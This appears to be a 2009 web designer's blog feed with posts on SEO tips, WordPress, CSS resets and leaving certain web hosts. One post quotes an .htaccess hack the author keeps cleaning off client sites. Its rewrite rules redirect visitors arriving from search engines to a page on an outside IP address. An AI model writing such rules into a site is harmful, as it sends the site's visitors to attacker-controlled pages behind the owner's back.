MattMaan » Web Design

Ten things to consider when building a web page for SEO heaven

mattmaan — Sun, 12 Jul 2009 01:45:36 +0000

1. Choose the correct DOC TYPE. Pages will not validate with an incorrect DOC TYPE and your page may even cause browsers to flip out for no obvious reason.
2. Create a unique META description and title tag for each page that will reflect the real content of that page. Slow down and read the copy. Duplicate description tags may indicate to a search bot that the page may contain duplicate content.
3. Fill in the alt tag that accompanies any image. Again, validate,… the page will not validate without alt tags filled. It will also add much needed bot-readable keyword text to the raw code.
4. Give the filename for the page a unique name. Reflect the nature of the page’s content in the url.
5. More content! The more text on a page, the happier a search bot is and will spend more time there reading.
6. Avoid Flash, but if you must, keep it to a minimum and make sure it is not the most dominate part of your page. Yeah, the bots say the can read flash documents now, but there isn’t any evidence of that claim or of their accuracy if they actually do.
7. Try your best not to use tables. Seperate the design from the content as much as possible. This isn’t as important to search bots as many designers would lead you to believe, but let’s get with the times.
8. Add keywords to the keyword META tag. Just for old-time’s sake. It can’t hurt.
9. Turn off all of the CSS on the page and examine it. That is the way a search bot sees it. Does it make sense? Is it readable?
10. Finally, be relevant. Update often. Consider using WordPress. The era of instant search is coming,… or maybe it’s already here.

ecommerce doesn’t get much easier than this

mattmaan — Tue, 16 Jun 2009 19:57:55 +0000

Just found this terrific video for anyone out there into WordPress and wanting an online ecommerce solution.

http://wordpress.tv/2009/06/08/create-an-ecommerce-website-with-wordpress-in-under-5-minutes/

Enjoy!

Google.com Hacked!!! (Saturday January 31, 2009)

mattmaan — Sat, 31 Jan 2009 15:21:52 +0000

Saturday, January 31, 2009.

Searching Google.com this morning has yielded some bizarre results. Every site is now harmful to your system! How the mighty have fallen. I feel for you googlers. I too check on most of the sites I work on every morning for the .htaccess hack. Quite a pain in the ass. Click on the image for a closer look. I googled the word “WORD”.

Read the CNET.com article.

Google.com Hacked?

Here’s my hacker code I wrestle with on a near daily basis:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://89.28.13.213/you.html?s=tube [R,L]

Basecamp by 37Signals.com makes project management easier

mattmaan — Sat, 24 Jan 2009 16:11:26 +0000

Basecamp by 37Signals.com makes project management easier.

WordPress.tv launches!

mattmaan — Fri, 23 Jan 2009 15:39:54 +0000

This looks pretty cool. A virtual class room for mastering the art of self-publishing. Click on the picture for more. Enjoy!

WordPress Video Tutorials for the Novice and the Pro

mattmaan — Sat, 22 Nov 2008 14:06:53 +0000

Here’s a nice collection of video tutorials for all of you bloggers and web designers out there. Thanks Speckyboy.

Smashing Magazine offers another great ajax resource

mattmaan — Sat, 15 Nov 2008 19:42:16 +0000

50 Excellent AJAX Tutorials

Just so I don’t forget about this one. Thanks Google reader.

CSS Resets – Friend or Foe

mattmaan — Thu, 30 Oct 2008 20:50:17 +0000

I recently found this article which summarizes my own feelings on using CSS resets in your stylesheets. The following is probably pure jibberish to those of you who aren’t designers. (I’m just dreaming/wishing/hoping my own quality control department reads this one.)

One of the principles I took away from the Web Standards community was the concept that pixel perfect precision across the various rendering engines was impractical and a remnant of the table-based layouts of yesteryear. With CSS and progressive enhancement, it was okay that things might look a little different from one browser to the next because of variations in what they supported.

Web hosts iPower, PowWeb, StartLogic all owned by Endurance International Group

mattmaan — Tue, 28 Oct 2008 21:13:04 +0000

I am in the process of moving all of my hosting clients off of iPowerWeb (iPower) as each account comes up for renewal. It’s an opportunity to also upgrade the platform they’re on as it has been a few years for a lot of these websites.

Why? If you’ve ever dealt with iPower as a multiple-site manager, you know. They were bought or merged with Endurance International Group in MA about a year ago? (I can’t remember, doesn’t matter).

In the process they had to manually edit things like server paths in php configure files without knowledge of the site owner or administrator. They wound up killing an osCommerce installation for one of my clients. I can only imagine how many others were lost by their inexperienced developers who were charged with editing thousands of files. The task itself is unimaginable to me, and of course they screwed up a few.

Anyway, that’s just a single example. I’m moving these sites for many more reasons, the most important one being cost. Companies like IXWebhosting offer unlimited domains (8 unique IP’s – unlimited shared IP’s) for the price of a single domian on most hosts. Check out IX here. Below is a list of known web hosts also owned by Endurance International Group. Do yourself a favor and consider someone else to host your site(s).

AccountSupport
BizLand
BlueDomino
Dot5 (Dot5 Hosting)
DomainHost
eHost
EntryHost
FatCow
FreeYellow
HostCentric
HostYourSite
HyperMart
ImOutDoors
iPowerWeb (iPower)
NetWorksHosting
PowWeb
PureHost
ReadyHosting
Startlogic
USAnetHosting
VirtualAve
Xeran

Who do you host with? Who do you recommend?

Beautiful Table Designs

mattmaan — Thu, 25 Sep 2008 21:09:00 +0000

Every once in a while I’ll post something up here just to know where it is and share it if anyone needs it.

I stumbled upon this great design site in his online portfolio:

tjkdesign.com

Serif my Love

Red and Black

These are just a couple out of (looks like) a 100 or so designs, most all very nice.